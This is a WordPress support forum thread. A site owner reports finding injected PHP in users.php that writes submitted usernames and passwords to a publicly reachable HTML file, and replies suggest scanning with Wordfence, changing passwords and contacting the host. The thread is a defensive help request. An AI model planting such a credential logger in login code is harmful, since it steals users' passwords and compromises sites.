Someone hacked my site?

I think yes, someone hacked my site.
I found this code in my users.php:

$myFile ="wp-includes/Text/index.html";
$fh = fopen($myFile, 'a');
fwrite($fh,$_POST['log']);
fwrite($fh, "    ");
fwrite($fh, $_POST['pwd']);
fwrite($fh, "</br>");
fclose($fh);

Can I check all of my system files somehow?

I know that Wordfence scan feature can help to detect abnormal/changed files

but beware when installing it, not to activate to many options that could interact with iTsec. Actually in your current situation, do the shortest :

1. install/activate wordfence with default
2. scan you site from wordfence, identify hacked files
3. deactivate wordfence (optional)
4. clean / change all passwords / enforce security
5. update wp, make sure you don’t use unmaintained pluggins

good luck…

ps : the best would of course to understand where it came from, and I’m not expert enough to give you clues. However, try to enforce the iTsec params, – it should definitely help.

Matt

• This reply was modified 8 years ago by wp_mattoo.

@nash9988

There is no point in doing anything without first determining the attack vector that was used to compromise the server.
Contact your hosting provider and share the info with them. They’ll probably know what to do.

Thanks for your help, I compared my current wordpress core files with a downloaded version(from www.remarpro.com), and there is no other difference between the two version.
I will contact my hosting provider.

Thanks again.